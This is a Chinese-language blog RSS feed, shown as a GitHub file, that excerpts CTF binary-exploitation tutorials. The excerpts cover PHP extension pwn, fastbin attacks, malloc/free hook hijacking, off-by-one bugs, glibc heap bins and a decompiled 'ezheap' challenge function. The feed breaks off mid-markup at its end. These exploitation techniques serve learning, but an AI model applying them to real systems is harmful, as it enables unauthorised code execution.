Repository navigation
Expand file tree
/
Copy pathrss.xml
More file actions
872 lines (844 loc) · 105 KB
/
Copy pathrss.xml
File metadata and controls
872 lines (844 loc) · 105 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>lhon901's blog</title><link>/</link><description>Recent content on lhon901's blog</description><generator>Hugo</generator><language>zh-CN</language><lastBuildDate>Fri, 17 Oct 2025 23:32:19 +0800</lastBuildDate><atom:link href="/rss.xml" rel="self" type="application/rss+xml"/><item><title>从零开始的 Pwn 之旅 - Php_pwn</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---php_pwn/</link><pubDate>Mon, 22 Sep 2025 17:30:19 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---php_pwn/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><p>php pwn 泛指利用 PHP 环境下的漏洞进行 PWN（即：利用二进制层面的漏洞进行提权、RCE等）<br>
本文主要针对 php extension 进行 pwn 利用</p>
<h2 id="前置知识">前置知识
<a class="header-anchor" href="#%e5%89%8d%e7%bd%ae%e7%9f%a5%e8%af%86"></a>
</h2><p>php 扩展一般采用 c 语言编写<br>
php 通过加载库文件（.so / .dll）来实现扩展<br>
因为扩展函数是在 php 内部调用的，我们不能像平常那样直接执行 <code>system</code> <code>one_gadget</code>，这里通常是需要采用 popen 或者 exec 函数族（php 函数）来进行执行 bash命令来反弹 shell<br>
php 扩展中使用 <code>printf</code> <code>system</code> 等函数会产生 stdout 输出, 但是这些输出有可能会被日志捕获被丢弃等, 如果我们想得到 php 扩展的输出我们需要使用 php 提供的函数比如 <code>php_printf</code></p></description></item><item><title>从零开始的 Pwn 之旅 - Fastbin Attack</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---fastbin-attack/</link><pubDate>Sat, 30 Aug 2025 21:27:08 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---fastbin-attack/</guid><description><h2 id="简介">简介
<a class="header-anchor" href="#%e7%ae%80%e4%bb%8b"></a>
</h2><p>fastbin attack 指针对 ptmalloc2 中 fastbin 结构的攻击和漏洞利用手法</p>
<p>利用前提:</p>
<ul>
<li>存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞</li>
<li>漏洞发生于 fastbin 类型的 chunk 中</li>
</ul>
<p>根据利用手法可分为以下几类</p></description></item><item><title>从零开始的 Pwn 之旅 - Malloc_hook 和 Free_hook</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---malloc_hook-%E5%92%8C-free_hook/</link><pubDate>Sat, 30 Aug 2025 18:13:43 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---malloc_hook-%E5%92%8C-free_hook/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><p>在栈的利用中, 我们通过劫持程序的返回地址来实现劫持程序的控制流<br>
要想通过堆来进行漏洞利用, 可能会想到通过在堆上写入 shellcode 的方式然后劫持返回地址到堆上<br>
但是程序往往会开始 NX (堆栈不可执行) 保护导致利用失败<br>
而且程序可能根本没有缓冲区溢出漏洞<br>
<code>__malloc_hook</code> 和 <code>__free_hook</code> 正是为了应对这种情况的，与栈无关的堆劫持控制流的手法</p></description></item><item><title>从零开始的 Pwn 之旅 - Off_by_one</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---off_by_one/</link><pubDate>Sat, 16 Aug 2025 15:39:32 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---off_by_one/</guid><description><h1 id="从零开始的-pwn-之旅--off_by_one">从零开始的 Pwn 之旅 —— Off_by_one
<a class="header-anchor" href="#%e4%bb%8e%e9%9b%b6%e5%bc%80%e5%a7%8b%e7%9a%84-pwn-%e4%b9%8b%e6%97%85--off_by_one"></a>
</h1><h2 id="漏洞成因">漏洞成因
<a class="header-anchor" href="#%e6%bc%8f%e6%b4%9e%e6%88%90%e5%9b%a0"></a>
</h2><h3 id="1-循环条件计算错误">1. 循环条件计算错误
<a class="header-anchor" href="#1-%e5%be%aa%e7%8e%af%e6%9d%a1%e4%bb%b6%e8%ae%a1%e7%ae%97%e9%94%99%e8%af%af"></a>
</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt" id="hl-0-1"><a class="lnlinks" href="#hl-0-1">1</a>
</span><span class="lnt" id="hl-0-2"><a class="lnlinks" href="#hl-0-2">2</a>
</span><span class="lnt" id="hl-0-3"><a class="lnlinks" href="#hl-0-3">3</a>
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="c1">// 循环体
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>上述代码实际上会执行 <strong>11 次循环</strong>。开发人员本意可能只想执行 10 次循环，实际上却多执行了一次，容易导致数组或缓冲区 <strong>越界</strong>。</p></description></item><item><title>从零开始的 Pwn 之旅 - 简单的堆溢出</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E7%AE%80%E5%8D%95%E7%9A%84%E5%A0%86%E6%BA%A2%E5%87%BA/</link><pubDate>Fri, 15 Aug 2025 13:22:57 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E7%AE%80%E5%8D%95%E7%9A%84%E5%A0%86%E6%BA%A2%E5%87%BA/</guid><description><h2 id="示例">示例
<a class="header-anchor" href="#%e7%a4%ba%e4%be%8b"></a>
</h2><h3 id="ezheap">
<a href="https://www.nssctf.cn/problem/3104" title="ezheap" rel="noopener external nofollow noreferrer" target="_blank" class=" exturl">
ezheap
<i class="fa fa-external-link-alt"></i>
</a>
<a class="header-anchor" href="#ezheap"></a>
</h3><p>经典菜单题</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt" id="hl-0-1"><a class="lnlinks" href="#hl-0-1">1</a>
</span><span class="lnt" id="hl-0-2"><a class="lnlinks" href="#hl-0-2">2</a>
</span><span class="lnt" id="hl-0-3"><a class="lnlinks" href="#hl-0-3">3</a>
</span><span class="lnt" id="hl-0-4"><a class="lnlinks" href="#hl-0-4">4</a>
</span><span class="lnt" id="hl-0-5"><a class="lnlinks" href="#hl-0-5">5</a>
</span><span class="lnt" id="hl-0-6"><a class="lnlinks" href="#hl-0-6">6</a>
</span><span class="lnt" id="hl-0-7"><a class="lnlinks" href="#hl-0-7">7</a>
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">~/D/ezheap ❯❯❯ ./ezheap
</span></span><span class="line"><span class="cl">Easy Note.
</span></span><span class="line"><span class="cl">1.Add.
</span></span><span class="line"><span class="cl">2.Delete.
</span></span><span class="line"><span class="cl">3.Show.
</span></span><span class="line"><span class="cl">4.Edit.
</span></span><span class="line"><span class="cl">Choice:</span></span></code></pre></td></tr></table>
</div>
</div>
<p>add 函数</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt" id="hl-1-1"><a class="lnlinks" href="#hl-1-1"> 1</a>
</span><span class="lnt" id="hl-1-2"><a class="lnlinks" href="#hl-1-2"> 2</a>
</span><span class="lnt" id="hl-1-3"><a class="lnlinks" href="#hl-1-3"> 3</a>
</span><span class="lnt" id="hl-1-4"><a class="lnlinks" href="#hl-1-4"> 4</a>
</span><span class="lnt" id="hl-1-5"><a class="lnlinks" href="#hl-1-5"> 5</a>
</span><span class="lnt" id="hl-1-6"><a class="lnlinks" href="#hl-1-6"> 6</a>
</span><span class="lnt" id="hl-1-7"><a class="lnlinks" href="#hl-1-7"> 7</a>
</span><span class="lnt" id="hl-1-8"><a class="lnlinks" href="#hl-1-8"> 8</a>
</span><span class="lnt" id="hl-1-9"><a class="lnlinks" href="#hl-1-9"> 9</a>
</span><span class="lnt" id="hl-1-10"><a class="lnlinks" href="#hl-1-10">10</a>
</span><span class="lnt" id="hl-1-11"><a class="lnlinks" href="#hl-1-11">11</a>
</span><span class="lnt" id="hl-1-12"><a class="lnlinks" href="#hl-1-12">12</a>
</span><span class="lnt" id="hl-1-13"><a class="lnlinks" href="#hl-1-13">13</a>
</span><span class="lnt" id="hl-1-14"><a class="lnlinks" href="#hl-1-14">14</a>
</span><span class="lnt" id="hl-1-15"><a class="lnlinks" href="#hl-1-15">15</a>
</span><span class="lnt" id="hl-1-16"><a class="lnlinks" href="#hl-1-16">16</a>
</span><span class="lnt" id="hl-1-17"><a class="lnlinks" href="#hl-1-17">17</a>
</span><span class="lnt" id="hl-1-18"><a class="lnlinks" href="#hl-1-18">18</a>
</span><span class="lnt" id="hl-1-19"><a class="lnlinks" href="#hl-1-19">19</a>
</span><span class="lnt" id="hl-1-20"><a class="lnlinks" href="#hl-1-20">20</a>
</span><span class="lnt" id="hl-1-21"><a class="lnlinks" href="#hl-1-21">21</a>
</span><span class="lnt" id="hl-1-22"><a class="lnlinks" href="#hl-1-22">22</a>
</span><span class="lnt" id="hl-1-23"><a class="lnlinks" href="#hl-1-23">23</a>
</span><span class="lnt" id="hl-1-24"><a class="lnlinks" href="#hl-1-24">24</a>
</span><span class="lnt" id="hl-1-25"><a class="lnlinks" href="#hl-1-25">25</a>
</span><span class="lnt" id="hl-1-26"><a class="lnlinks" href="#hl-1-26">26</a>
</span><span class="lnt" id="hl-1-27"><a class="lnlinks" href="#hl-1-27">27</a>
</span><span class="lnt" id="hl-1-28"><a class="lnlinks" href="#hl-1-28">28</a>
</span><span class="lnt" id="hl-1-29"><a class="lnlinks" href="#hl-1-29">29</a>
</span><span class="lnt" id="hl-1-30"><a class="lnlinks" href="#hl-1-30">30</a>
</span><span class="lnt" id="hl-1-31"><a class="lnlinks" href="#hl-1-31">31</a>
</span><span class="lnt" id="hl-1-32"><a class="lnlinks" href="#hl-1-32">32</a>
</span><span class="lnt" id="hl-1-33"><a class="lnlinks" href="#hl-1-33">33</a>
</span><span class="lnt" id="hl-1-34"><a class="lnlinks" href="#hl-1-34">34</a>
</span><span class="lnt" id="hl-1-35"><a class="lnlinks" href="#hl-1-35">35</a>
</span><span class="lnt" id="hl-1-36"><a class="lnlinks" href="#hl-1-36">36</a>
</span><span class="lnt" id="hl-1-37"><a class="lnlinks" href="#hl-1-37">37</a>
</span><span class="lnt" id="hl-1-38"><a class="lnlinks" href="#hl-1-38">38</a>
</span><span class="lnt" id="hl-1-39"><a class="lnlinks" href="#hl-1-39">39</a>
</span><span class="lnt" id="hl-1-40"><a class="lnlinks" href="#hl-1-40">40</a>
</span><span class="lnt" id="hl-1-41"><a class="lnlinks" href="#hl-1-41">41</a>
</span><span class="lnt" id="hl-1-42"><a class="lnlinks" href="#hl-1-42">42</a>
</span><span class="lnt" id="hl-1-43"><a class="lnlinks" href="#hl-1-43">43</a>
</span><span class="lnt" id="hl-1-44"><a class="lnlinks" href="#hl-1-44">44</a>
</span><span class="lnt" id="hl-1-45"><a class="lnlinks" href="#hl-1-45">45</a>
</span><span class="lnt" id="hl-1-46"><a class="lnlinks" href="#hl-1-46">46</a>
</span><span class="lnt" id="hl-1-47"><a class="lnlinks" href="#hl-1-47">47</a>
</span><span class="lnt" id="hl-1-48"><a class="lnlinks" href="#hl-1-48">48</a>
</span><span class="lnt" id="hl-1-49"><a class="lnlinks" href="#hl-1-49">49</a>
</span><span class="lnt" id="hl-1-50"><a class="lnlinks" href="#hl-1-50">50</a>
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">add</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kr">__int64</span> <span class="n">v0</span><span class="p">;</span> <span class="c1">// rbx
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">__int64</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// rax
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [rsp+0h] [rbp-20h]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+4h] [rbp-1Ch]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Input your idx:&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3</span> <span class="o">=</span> <span class="nf">getnum</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Size:&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v4</span> <span class="o">=</span> <span class="nf">getnum</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">v4</span> <span class="o">&gt;</span> <span class="mh">0x100</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nf">LODWORD</span><span class="p">(</span><span class="n">v1</span><span class="p">)</span> <span class="o">=</span> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Invalid!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="k">else</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="n">heaplist</span><span class="p">[</span><span class="n">v3</span><span class="p">]</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="mh">0x20u</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">heaplist</span><span class="p">[</span><span class="n">v3</span><span class="p">]</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Malloc Error!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="n">v0</span> <span class="o">=</span> <span class="n">heaplist</span><span class="p">[</span><span class="n">v3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">v0</span> <span class="o">+</span> <span class="mi">16</span><span class="p">)</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">v4</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">heaplist</span><span class="p">[</span><span class="n">v3</span><span class="p">]</span> <span class="o">+</span> <span class="mi">32LL</span><span class="p">)</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">puts</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span> <span class="o">!*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">heaplist</span><span class="p">[</span><span class="n">v3</span><span class="p">]</span> <span class="o">+</span> <span class="mi">16LL</span><span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Malloc Error!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="n">sizelist</span><span class="p">[</span><span class="n">v3</span><span class="p">]</span> <span class="o">=</span> <span class="n">v4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Name: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">heaplist</span><span class="p">[</span><span class="n">v3</span><span class="p">],</span> <span class="mh">0x10u</span><span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Something error!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Content:&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="o">**</span><span class="p">)(</span><span class="n">heaplist</span><span class="p">[</span><span class="n">v3</span><span class="p">]</span> <span class="o">+</span> <span class="mi">16LL</span><span class="p">),</span> <span class="n">sizelist</span><span class="p">[</span><span class="n">v3</span><span class="p">])</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Error!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Done!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v1</span> <span class="o">=</span> <span class="n">heaplist</span><span class="p">[</span><span class="n">v3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">v1</span> <span class="o">+</span> <span class="mi">24</span><span class="p">)</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">v1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>detele 函数</p></description></item><item><title>从零开始的 Pwn 之旅 - Heap 深入理解</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---heap-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3/</link><pubDate>Fri, 15 Aug 2025 12:16:16 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---heap-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3/</guid><description><h2 id="bins-结构">bins 结构
<a class="header-anchor" href="#bins-%e7%bb%93%e6%9e%84"></a>
</h2><hr>
<h3 id="fastbin">fastbin
<a class="header-anchor" href="#fastbin"></a>
</h3><ul>
<li><strong>结构</strong>：单向链表</li>
<li><strong>来源</strong>：free 时直接进入 fastbin</li>
<li><strong>用途</strong>：快速分配和释放小块内存</li>
<li><strong>chunk size 范围</strong>：
<ul>
<li>通常为 <code>0x20</code> ~ <code>0x80</code>（包含头部，具体范围随 glibc 版本变化，部分新版本为到 <code>0x70</code>）</li>
<li>size 字段实际为 chunk_size + 标志位</li>
</ul>
</li>
<li><strong>特点</strong>：
<ul>
<li>释放后立即进入 fastbin，不合并相邻空闲块</li>
<li>链表长度<strong>无限制</strong>（不是 7，7 是 tcache 的最大数目）</li>
<li>只支持单向链表（每个 chunk 的 fd 指向下一个 chunk）</li>
</ul>
</li>
</ul>
<hr>
<h3 id="tcache">tcache
<a class="header-anchor" href="#tcache"></a>
</h3><ul>
<li><strong>结构</strong>：单向链表</li>
<li><strong>来源</strong>：free 时直接进入 tcache（优先于 fastbin）</li>
<li><strong>用途</strong>：线程本地缓存，加速小块内存分配和释放</li>
<li><strong>chunk size 范围</strong>：
<ul>
<li>仅支持小于等于 <code>0x410</code>（1040字节）的 chunk（包含头部，实际范围依 glibc 版本不同）</li>
<li>size 字段为 chunk_size + 标志位</li>
</ul>
</li>
<li><strong>特点</strong>：
<ul>
<li>每个 size 类别最多存储 7 个 chunk（超出则进入 unsorted bin）</li>
<li>不合并相邻空闲块</li>
<li>只支持单向链表（每个 chunk 的 fd 指向下一个 chunk）</li>
<li>属于线程本地数据结构，各线程 tcache 独立，提升多线程性能</li>
</ul>
</li>
</ul>
<hr>
<h3 id="unsorted-bin">unsorted bin
<a class="header-anchor" href="#unsorted-bin"></a>
</h3><ul>
<li><strong>结构</strong>：双向链表（fd/bk）</li>
<li><strong>来源</strong>：
<ul>
<li>当一个较大的 chunk 被分割成两半后，如果剩下的部分大于 MINSIZE，就会被放到 unsorted bin 中。</li>
<li>释放一个不属于 fast bin 的 chunk，并且该 chunk 不和 top chunk 紧邻时，该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释，请参考下面的介绍。</li>
<li>当进行 malloc_consolidate 时，可能会把合并后的 chunk 放到 unsorted bin 中，如果不是和 top chunk 近邻的话。</li>
</ul>
</li>
<li><strong>用途</strong>：存放刚释放的非 fastbin chunk（大于 fastbin 范围）</li>
<li><strong>特点</strong>：
<ul>
<li>不按大小排序，先进后出（FIFO）</li>
<li>后续 malloc 时会根据大小转移到 smallbin 或 largebin</li>
<li>所有非 fastbin 的 chunk 释放时都先进入 unsorted bin</li>
</ul>
</li>
</ul>
<h4 id="unsorted-bin-转化">unsorted bin 转化
<a class="header-anchor" href="#unsorted-bin-%e8%bd%ac%e5%8c%96"></a>
</h4><ul>
<li>
<p><strong>malloc 请求触发归类</strong><br>
当你 malloc 时，会优先在 unsorted bin 中查找是否有足够大的 chunk。<br>
如果 unsorted bin 中有 chunk 不足以分配请求的大小，这些 chunk 会被按大小归类，分别转移到 smallbin 或 largebin。<br>
chunk size ≤ smallbin 最大值，进入 smallbin<br>
chunk size &gt; smallbin 最大值，进入 largebin<br>
这个过程中，所有遍历到但不满足分配条件的 chunk 都会被“搬家”到对应的 bin。</p></description></item><item><title>从零开始的 Pwn 之旅 - 堆溢出初探</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E5%A0%86%E6%BA%A2%E5%87%BA%E5%88%9D%E6%8E%A2/</link><pubDate>Mon, 28 Jul 2025 10:48:03 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E5%A0%86%E6%BA%A2%E5%87%BA%E5%88%9D%E6%8E%A2/</guid><description><h2 id="堆介绍">堆介绍
<a class="header-anchor" href="#%e5%a0%86%e4%bb%8b%e7%bb%8d"></a>
</h2><p>堆是动态分配内存的区域，通常用于存储在运行时需要动态分配的对象。堆内存的分配和释放由程序员控制，常见的操作包括 <code>malloc</code>、<code>free</code> 等。</p>
<p><img src="/imgs/img-lazy-loading.gif" data-src="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/figure/program_virtual_address_memory_space.png" alt="操作系统内存布局示意图" /></p></description></item><item><title>从零开始的 Pwn 之旅 - Ptrace 沙箱</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ptrace-%E6%B2%99%E7%AE%B1/</link><pubDate>Sun, 27 Jul 2025 21:27:26 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ptrace-%E6%B2%99%E7%AE%B1/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><p>这类题目一般只会允许调用 Ptrace 系统调用</p>
<div class="highlight"><div class="chroma">
